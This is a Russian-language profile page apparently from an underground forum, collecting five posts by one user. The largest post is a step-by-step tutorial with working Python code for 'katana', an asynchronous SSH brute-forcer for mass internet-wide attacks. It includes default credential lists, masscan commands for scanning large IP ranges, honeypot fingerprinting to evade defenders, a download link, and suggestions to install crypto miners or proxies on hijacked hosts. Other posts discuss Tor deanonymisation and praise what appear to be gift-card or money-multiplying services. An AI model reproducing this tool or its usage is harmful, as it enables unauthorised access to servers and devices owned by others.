BTC: 11739 USD
ETH: 379 USD
BCH: 250 USD
LTC: 48 USD
DASH: 75 USD
Перейти к содержанию


Рыжая Бестия

Пользователи
  • Публикаций

    5
  • Зарегистрирован

  • Посещение

  • Победитель дней

    1

Рыжая Бестия стал победителем дня 29 июля 2017

Рыжая Бестия имел наиболее популярный контент!

Информация о Рыжая Бестия

  • Звание
    Rank №1

Посетители профиля

363 просмотра профиля
  1. Это просто теория из моих умозаключений, как на основе подслушиваний так и на основе логики и по факту всё может быть совсем по другому(проще). Сейчас могу перепугать всех кто пользуется тором в принципе. Есть 1 факт в котором уверен на 100%, это то что когда ты запускаешь тор то интерент-провайдер(читай-мент) может видеть что ты включил тор и когда он был включен и пики активности.Ведь только при включении тора открывается порт 9001 Эта теория подходит лишь для тех, кто сидит скажем за тор браузером без дополнительных прокси, впн и т.д. Как известно узлы тора имеют особые отметки которые могут моячить провайдерам, бытует мнение что более подробных деталей провайдер видеть не может, но ему и не надо. Теория такова, к примеру мент М знает что в городе Х кто-то нарушает закон через тор, мент устанавливает слежку за вами будь то на форуме в телеге или джабере, посылая вам вопросы с разных аккаунтов и в разное время. М фиксирует время ваших ответов, к примеру неделю, месяц или год(сколько понадобится) И в итоге он посылает официальный запрос к провайдерам с открытым уголовным делом и простым вопросом, какие пользователи в данные промежутки времени использовали тор. И в теории может быть такое что только 1 пользователь пользовал тор в данные моменты времени(был всплеск трафика при ответе) и с вероятностью 100% это был именно этот пользователь и это будет реальная улика залететь в окно в масках. Пусть даже в эти моменты было 2-5 человек активных, думаю им не будет проблемы проверить всех. Как же мент узнает что нарушитель пользует тор? К примеру он может дать ссылку или встроить в страницу картинку сервера-снифера(читателя ип), и увидев эту картинку вы отдадите менту ип адрес тора или личный или впн с которого была открыта эта картинка или ссылка. Эта может быть использовано на данный момент на 99% форумах и множестве сайтов, сервисов где можно встраивать картинки в страницы без загрузки с компа а по ссылке с другого сайта-сервера. На счёт джабер клиентов точно не знаю но думаю их активность тоже можно отличить по особым признакам портам и т.д.
  2. Парсер - это программа которая собирает данные с интернета, анализирует их и выдает в нужном формате. В этом уроке мы напишем парсер, который будет отслеживать курс доллара. Использовать будем python (один из лучших языков программирования для работы с информацией). Для начала нужно скачать библиотеки (введите код ниже в коммандной строке) Код: pip install requests pip install bs4 requests - библиотека для получения кода веб сайта (информация о курсе есть в коде веб страницы) bs4 - библиотека для работы с HTML, CSS кодом (с помощью него мы будем искать в коде нужную нам информацию) Создаём файл dollar.py (можете назвать его по-другому) и имртируем все нужные библиотеки: Python: import requests from bs4 import BeautifulSoup Парсить будем с сайта investing.com, поэтому нужно сохранить URL страницы с курсом доллара (https://ru.investing.com/currencies/usd-rub) в виде переменной Python: # import ... URL = 'https://ru.investing.com/currencies/rub-usd' Также сначала нужно узнать свой User Agent. Просто введите в google "my user agent" и скопируйте строку в переменную: Python: # import ... # URL ... HEADERS = {'user-agent' : '*ваш user agent*'} Теперь нам нужно получить код страницы: Python: # ... page = requests.get (URL, headers = HEADERS) Переходим на сайт и нажимаем Ctrl+Shift+I. Теперь мы видим код страницы прямо в браузере. Нажимаем на кнопку слева сверху (для выбора элемента на странице) и выбираем текст с курсом доллара (если мы будем знать, где в коде находится текст с курсом доллара, мы можем каждый раз обращаться к этой части кода и выводить этот текст). Узнаём, что курс храниться в теге с id равным "late-late". Теперь создадим переменную soup, чтобы найти тег с нужным нам id: Код: # ... # page.content - код страницы soup = BeautifulSoup (page.content, 'html.parser') currency = soup.find (id = 'late-late') # находим тег с id 'late-late' (в этом теге хранится курс доллара) print (currency.text) # выводим текст, хранящийся в этом теге Вот весь код парсера: Python: import requests from bs4 import BeautifulSoup URL = 'https://ru.investing.com/currencies/usd-rub' HEADERS = {'user-agent' : '*ваш user agent*'} page = requests.get (URL, headers = HEADERS) soup = BeautifulSoup (page.content, 'html.parser') currency = soup.find (id = 'late-late').text print (currency)
  3. Привет. Сегодня мы c вами вместе напишем прототип асинхронного скрипта для перебора ssh доступов на Python, который будет работать стабильней и быстрее чем такие инструменты как hydra и medusa. А также может работать со списками ip выгруженными прямо из утилиты masscan. О SSH Если вдруг есть люди из танка: SSH - это протокол прикладного уровня, позволяет удаленно управлять другим машинами, и пробрасывать (тунеллировать) трафик, (что-то типа vpn). Весь трафик проходящий по ssh протоколу - шифруется. ssh повсеместно используется для управления серверами, ip камерами, роутерами и всем подобным. Должен сказать что устройств в сети которые поддерживают ssh - огромное количество. Обычно ssh работает по 22 порту, но бывают и исключения. О нашем скрипте Поскольку существуют такие системы как fail2ban то точечный брутфорс одного хоста без прокси - невозможен. Ибо после нескольких неудачных попыток ввода пароля, мы сразу-же получим бан. По этому наш скрипт будет предназначен только для массовых атак, и работать следующим образом: Мы будем делать итерации по списку хостов на предмет одной комбинации популярных логинов и паролей. После прохода итерации, пройдет достаточное время для того что-бы fail2ban нас не забанил, и скрипт пепейдет к следующей итерации уже с новой комбинацией логина и пароля. Конечно с такой логикой работы наш скрипт это скорее "Парсер доступов со стандартными логинами и паролями" нежели брутфорс. Но зато есть один огромный плюс - нам не нужны прокси. Почему на Python? Так же как это работает с Правилом Интернета №34 которое гласит: "На любую популярную тему в интернете - есть порно". Так же и с Python: "О чем бы ты не подумал - на это уже написана библиотека или обертка на python" И в данном случае, всю грязную работу за нас уже сделала библиотека asyncssh. Точнее сделал ее создатель Вот так выглядит настоящий хакер Начнем с импорта библиотек, которые нам понадобятся Python: import asyncio # Стандартная библиотека для работы с асинхронным кодом import asyncssh # Блиблиотека для асинхронной работы с ssh протоколом import argparse # Блиблиотека для парсинга аргументов командной строки from itertools import islice # Для работы со списком хостов from asyncssh.misc import ConnectionLost, PermissionDenied, ProtocolNotSupported, ChannelOpenError, ProtocolError # Импортируем исключения import re # Для работы с регулярными выражениями По сути, все что нам нужно сделать, для того что-бы узнать рабочий ли сервер, это аутентифицироваться и выполнить команду на удаленном сервере. Если команда выполняется, значит сервер - гуд. Для того что-бы наш скрипт не простаивал во время ожидания ответа от сервера, а занимался в это время полезными делами - нам и пригодится асинхронность. Подробнее про асинхронное программирование в Python можно прочитать из этой статьи _ttps://habr.com/ru/post/337420/ Если в двух словах - есть цикл событий (event loop) в котором крутятся все задачи которые нужно выполнить. И есть корутины - это асинхронные функции, они запускаются из цикла событий. Когда в нашем скрипте корутина достигает блокировки (ожидание ответа на запрос от сервера) управление передается следующей корутине. И так далее. Таким образом можно делать очень много запросов практически одновремеенно. Давайте напишем нашу корутину: Python: async def make_connection(ip, login, password): try: async with connect(ip, username=login, password=password, known_hosts=None) as conn: result = await conn.run('whoami', check=True, timeout=5) if result.stdout.strip().lower() == login: return 0 except (ConnectionRefusedError, TimeoutError, ConnectionResetError): return 1 except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError): return 1 except PermissionDenied: return 2 except Exception: return 1 Что здесь произошло? Выглядит наша корутина как обычная функция с префиксом async, принимает 3 агрумента ip, login, password. хост куда подключаемся и данные, с которыми логинимся соответственно. Используя контекстный менеджер with получаем дескриптор подключения используя asyncssh.connect()ив параметрах передаем хост и данные, параметр known_hosts=None указывает, что не надо искать ключи подключения на компьютере, а сразу-же подключатся используя логин и пароль. Сохраняем в переменную conn и вызываем метод run() с помощью которого в библиотеке asyncssh можно отправить команду в удаленный терминал. В нашем случае отправляем whoami (команда должна вернуть имя пользователя). Таким образом если мы будем коннектится с логином root, и whoami вернет root, значит сервер - валид. Я знаю, что whoami - это далеко не самый идеальный способ проверки, но статья носит сугубо ознакомительный характер и служит для того что-бы показать пример. Если вы знаете способ получше - то сообщите мне его. Если ловим исключения связанные с подключением - возвращаем 1 Значит по каким-то причинам хост не отвечает. Если ловим PermissionDenied - исключение связанные с неправильным логином и паролем - возвращаем 2 Значит не подошел пароль. В случае успешного выполнения whoami на удаленном сервере - возвращаем 0 Что касается Python: except Exception: Расскажу небольшую историю: Я сам вообще не кодер, нигде никогда не работал и не учился, а просто клацал питон самостоятельно, дома. И в моем обучении был момент истины, до которого все мои скрипты не работали, а после которого заработали. Однажды мне товарищ питонист, сказал что без try: except Exception: ни один код в продакшене у них не работает. После этого откровения все мои программы заработали) И в нашем случае тоже, потому-что на самом деле бог его знает, сколько там еще ошибок вылезет от такого количества запросов. Меня хватило только отловить несколько самых популярных, а остальное мы положим на плечи try: except Exception. Едем дальше Поскольку в методе asyncssh.connect нет параметра timeout, то мы обернем нашу корутину методом asyncio.wait_for() который как раз создан для таких ситуаций. В методе asyncssh.run() параметр timeout есть, и он касается только ожидания ответа на нашу команду whoami, а не на подключение в целом. asyncio.wait_for() принимает на вход корутину и время, за которое она должна выполнится. Если корутина не успевает выполниться - будет вызвано исключение asyncio.TimeoutError, которое мы благопалучно ловим. asyncio.Semaphore служит ограничением в одновременно выполняемых корутин (в нашем случае, коннектов. Потому-что пул одновременных коннектов не резиновый) Если не обернуть нашу корутину в Semaphore, то если вы загрузите 1 миллион хостов на проверку, то скрипт попытается выполнить миллион запросов одновременно. Естественно операционная система, сам компьютер и интерпретатор пайтона все вместе пошлют нас куда подальше, при таких раскладах. По этому Semaphore здесь необходим. Python: semaphore = asyncio.Semaphore(args.c) # Обьявляем наш семофор. Который будет ограничивать до количества указанного в параметре командной строки async def work(ip, login, password, fh): async with semaphore: try: result = await asyncio.wait_for(make_connection(ip, login, password), timeout=args.timeout) if result == 1: save_result('bad', fh, ip, login, password) if result == 2: save_result('wrong', fh, ip, login, password) if result == 0: save_result('good', fh, ip, login, password) if result == 3: save_result('honeypot', fh, ip, login, password) except asyncio.TimeoutError: save_result('bad', fh, ip, login, password) В зависимости от возврата корутины make_connection(), сохраняем данные в файл с помощью функции save_result() которую мы напишем и она кстати будет выглядеть вот так: Python: def save_result(file, file_handle, ip, login, password): print(f'{ip}:{login}:{password}', file=file_handle[file]) if not args.dp: print(f'[{get_index()}]\t\t[{file}]\t\t{ip}') fh - это словарь, в котором будет лежать дескриптор файла в который будем сохранять результат. Мы заранее откроем все файлы, что-бы не тратить ресурс на их открытие каждый и поместим дескрипторы в переменную fh таким образом: Python: def open_files(): files = {'good': open('good.txt', 'a'), 'bad': open('bad.txt', 'a'), 'wrong': open('wrong.txt', 'a'), 'honeypot': open('honeypot.txt', 'a')} return files fh = open_files() Ну как бы, на этом почти все. Фундамент нашего супер-брутфорса уже положен, осталось только дописать парсинг хостов из файла и запуск наших корутин из цикла событий. Загружаем файл с айпишниками: Python: def load_hosts(): with open(f'{args.path}') as file: # args.path - будущий параметр командной строки (путь к файлу) for line in file: yield ''.join(re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line)) С помощью yield делаем из нашей функции - генератор, и читаем файл по одной строке. Для того что-бы не загружать весь файл в оперативную память. Таким образом в наш скрипт можно будет смело загружать много миллионов хостов, и мы не будем боятся что он отвалится по памяти. С помощью регулярного выражения "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" ищем в каждой строке ip адрес. Это мы делаем для того, что-бы в наш скрипт был совместим с результативным логом утилит типа masscan и принимал списки даже такого вида: Код: Host: 221.34.0.15 () Ports:22/open/tcp/// Host: 143.22.75.1 () Ports:22/open/tcp/// Host: 43.12.55.1 () Ports:22/open/tcp/// Далее создаем функцию загрузки файла с заранее подготовленным списком комбинация логинов и паролей. Python: def load_credentials(): with open('credentials.txt') as file: return [(line.split(':')[0], line.split(':')[1].strip()) for line in file.readlines()] Возвращать будет наша функция load_credentials() кортеж вида (login, password). Вот примерный список самых популярных комбинаций логинов и паролей, что мне удалось найти: Python: root:root oracle:oracle root:123456 root:abc123 root:password root:default admin:default test:toor root:dietpi support:support root:!@ ubnt:ubnt ftp:ftp Собственно этот список у нас и хранится в файле credentials.txt Теперь давайте запилим цикл событий. Поскольку если мы загрузим в наш цикл событий сразу-же много миллионов задач, то он попросту завалится и пошлет куда подальше. По этому спомощью следующей хитрой конструкции со stackoverflow, мы будем подавать нашему скрипту хосты кусками по 100 000 штук, для стабильности. Python: def chunks(n, iterable): i = iter(iterable) piece = list(islice(i, n)) while piece: yield piece Запускать будем нашу корутину work() из другой корутины run() Python: async def run(targets, login, password, fh): tasks = [] for target in targets: tasks.append(work(target, login, password, fh)) await asyncio.gather(*tasks) Генерируем задачи и добавляем их в цикл событий. Для каждого чанка, создаем новый цикл событий и перезапускаем его. Python: def main(): targets = chunks(100000, load_hosts()) # Делим хосты на куски по 100 000 for login, password in load_credentials(): # Обходим циклом каждый логин и пароль в credentials for chunk in targets: # Обходим циклом каждый кусок списка хостов loop = asyncio.get_event_loop() # Создаем цикл событий future = asyncio.ensure_future(run(chunk, login, password)) # формируем задания loop.run_until_complete(future) # Запускаем Вуа-ля. Наш скрипт почти готов. Но остались еще небольшие нюансы. Поскольку мы пишем скрипт для людей, то надо реализовать парсинг параметров командной строки. А для того, что-бы наш был настоящим хакерским скриптом, то надо придумать какой-нибудь пафосное название, как medusa или hydra. Поскольку мне нравятся мечи, то пусть будет katana. И еще одина неотъемлемая часть нашего хакерского инструмента - это ASCII арт в заголовке. Python: intro = [' ', ' katana - the ssh bruteforce tool', ' /\\', ' /vvvvvvvvvvvv \--------------------------------------,', ' `^^^^^^^^^^^^ /====================================="', ' \/', ' by dortmund457'] Что-бы все знали кто тут крутой хакер (пишущий 100-строчный сырой скрипт на питоне и на готовых библиотеках), обязательно надо добавить by ваш_ник. Парсим параметры командной строки: Python: def parse_args(): parser = argparse.ArgumentParser(description='katana - the ssh bruteforce tool') parser.add_argument('path', type=str, help='path to hosts file') parser.add_argument('-c', '--connections', type=int, default=250, help='count of parallel connections') parser.add_argument('-t', '--timeout', type=int, default=7, help='timeout') parser.add_argument('-dp', action='store_true', help='disable stdout printing') return parser.parse_args() В итоге имеем обязательный параметр path, в который надо передать путь до файла с хостами. И 3 необязательных -с и -t отвечающих за количество потоков (asyncio.Semaphore), и таймаут. Ну и -dp который отключает вывод в stdout (для ускорения экономии ресурсов) В итоге запускать скрипт надо будет таким образом. python3 katana.py /home/bomj/hosts.txt -c 300 -t 15 О скорости Поскольку я холоп, я не знаю какое количество одновременных запросов можно делать с одного хоста. Насколько мне известно это зависит от операционной системы. По моим наблюдениям оптимальное количество параллельных запросов - 300. Но можно поиграться с этим числом. 300 параллельных коннектов с таймаутом в 5 секунд выдадут: 3600 попыток в минуту 216 000 попыток в час 5 184 000 попыток в сутки Не могу сказать много это или мало, но это больше чем выдавала hydra и medusa. А если быть более точным, они не выдают такой результат потому-что в отличии от нашего скрипта - отваливаются спустя 100 000 хостов. Список хостов можно добыть с помощью утилиты nmap или masscan Для массового скана рекомендую использовать последний. Установить его на ubuntu\debian системах можно так: apt-get install masscan На винду тоже есть: _ttps://github.com/robertdavidgraham/masscan/releases А запускать его такой командой: masscan -p22 0.0.0.0-50.0.0.0 --rate=10000 -oG hosts.txt Где 0.0.0.0-50.0.0.0 это диапазон ip -p22 это наш 22ой ssh порт --rate=10000 количество потоков, не рекомендую ставить больше 10 000 хотя можно хоть 300 000 и будет работать, но недолго -oG записываем результат в файл hosts.txt О плохом и плохих людях... O honey pot'ах и умников которые их разрабатывают. Есть умники, которым заняться не чем и они начинают писать всякую х*ню, для того что-бы нагадить нормальным парням, вроде нас. Вот неполный список умников и того что они написали: Код: _ttps://github.com/desaster/kippo _ttps://github.com/droberson/ssh-honeypot _ttps://github.com/cowrie/cowrie Лучше бы нормальным делом занялись. Что такое honeypot? Ну если грубо, то эмулятор рабочего ssh подключения, который не является настоящим устройством, а специально разработан, для того что-бы отлавливать таких как мы и более того - смотреть, с какими паролями мы подключаемся и что мы делаем на сервере, когда получим доступ. Но по факту, к ханипотам подходят любая комбинация из логинов и паролей. Для того что-бы потом накатать на нас абузу дяде Сему. Крысятничество - вот истинная сущность honey pot ов. Ибо 98% всех наших гудов - будут именно honeypot'ы. Знали бы они, как моя искренняя радость, от вида файла good.txt пополняющегося доступами - заменяется негодованием когда понимаешь что все эти доступы - мусор. Как c ними бороться? Ну насколько я понимаю так-же как и малваре-писатели борются с песочницами. Надо высмотреть какой-то параметр системы, который есть именно у песочницы или виртуалки. Будть то наличие диска D:\ на windows системах, id драйверов итд. Так - же и нам, надо поковырять систему... а если быть точным - много систем одинакового типа, для того что-бы определить 1 общий параметр у honeypot'ов, по которому мы будем их исключать. По буржуйски это называется фингерпринтинг. Попробуем найти что-нибудь общее. Посмотрим состояние дисков командой df и сравним вывод разных ханипотов. Сразу же видим, что умники создающие ханипоты, не такие уж и умники. Ибо название диска '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af' - общее для всех ханипотов. Давайте воспользуемся этим изменим нашу основную корутину и отфильтруем нечестивые доступы. Python: kippo = '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af' def is_honeypot(text): if kippo in text: return True else: return False async def make_connection(h, l, p): try: async with connect(h, username=l, password=p, known_hosts=None) as conn: whoami = await conn.run('whoami', check=True, timeout=args.timeout) if whoami.stdout.strip().lower() == l: if args.ch: df = await conn.run('df', check=True, timeout=args.timeout) if is_honeypot(df.stdout.strip().lower()): return 3 return 0 except (ConnectionRefusedError, TimeoutError, ConnectionResetError): return 1 except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError): return 1 except PermissionDenied: return 2 except Exception : return 1 Таким образом у нас появился новый код возврата - 3, что означает что хост honeypot. Так-же поскольку, для проверки хоста мы делаем второй запрс - а это в 2 раза режет скорость нашего чека. То давайте вынесем функционал проверки под аргумент командной строки -ch и таким образом, проверка хоста на нечестивость будет опциональной функцией. Python: parser.add_argument('-ch', action='store_true', help='check if host is honeypot') И можно будет проверит список гудов отдельной проверкой. На этом все. Полный скрипт прикриплен к теме в архиве. Что можно еще допиливать в скрипте? Очень много всего. В первую очередь можно допилить БД, и записывать результаты туда. Можно и нужно, отфильтровать оставшиеся ханипоты. Можно распараллелить работу на несколько ядер используя multiprocessing. Можно пилить авторазвертывание скрипта на свежеполученных доступах. Зачем вообще брутить ssh? Конечно же ради заветных доступов. Как можно их использоавть? Да по разному. Можно ставить xmrig, можно подымать прокси-сервер или vpn, а можно дублировать на них наш скрипт и продолжать брутить. Конечно же большинство доступов будут ip камеры, и девайсы на которых очень маленький запас ресурсов. Но встречаются и высокопроизводительные серверы, и хранилища по 20TB. В завершение... Хочу поблагодарить всех прочитавших, если вы осилили это до конца значит я не зря старался. Если вам интересна тема брута ssh, то приглашаю обсуждать в тему /threads/37303/ или пишите мне в личку, обменяемся опытом и вместе сделаем че-нибудь получше этого. Для людей которые не читали и сразу-же качают скрипт - https://gofile.io/d/lIuxp9 python katana.py /путь/к/спискуip.txt Результат будет записан в директории из которой запускается скрипт в файлах. bad.txt - плохие ip wrong.txt - рабочие сервера, но пароль неправильный (на речек) good.txt - найденные сервера honeypot.txt - ханипоты Описание параметров: python katana.py --help -t таймаут в секундах (по дефолту 7) -с количество параллельных соеденений (по дефолту 250) -ch чекать на ханипоты (без параметра не чекается, скорость падает в 2 раза, лучше всего чекать уже good.txt Для работы скрипта необходим интерпретатор Python версии не ниже 3.6 А так-же библиотека asyncssh pip install asyncssh или python -m pip install asyncssh
  4. Приобрела сегодня гифт карты Carters и Amazon, за помощь и доброе отношение выражаю отдельное СПАСИБО :wub:/>
  5. Взяла у мужа деньжат, у преумножила B)/> Пожалуй не буду ему говорить) Спасибо Alternatte :wub:/> :wub:/> :wub:/> :wub:/>
×
×
  • Создать...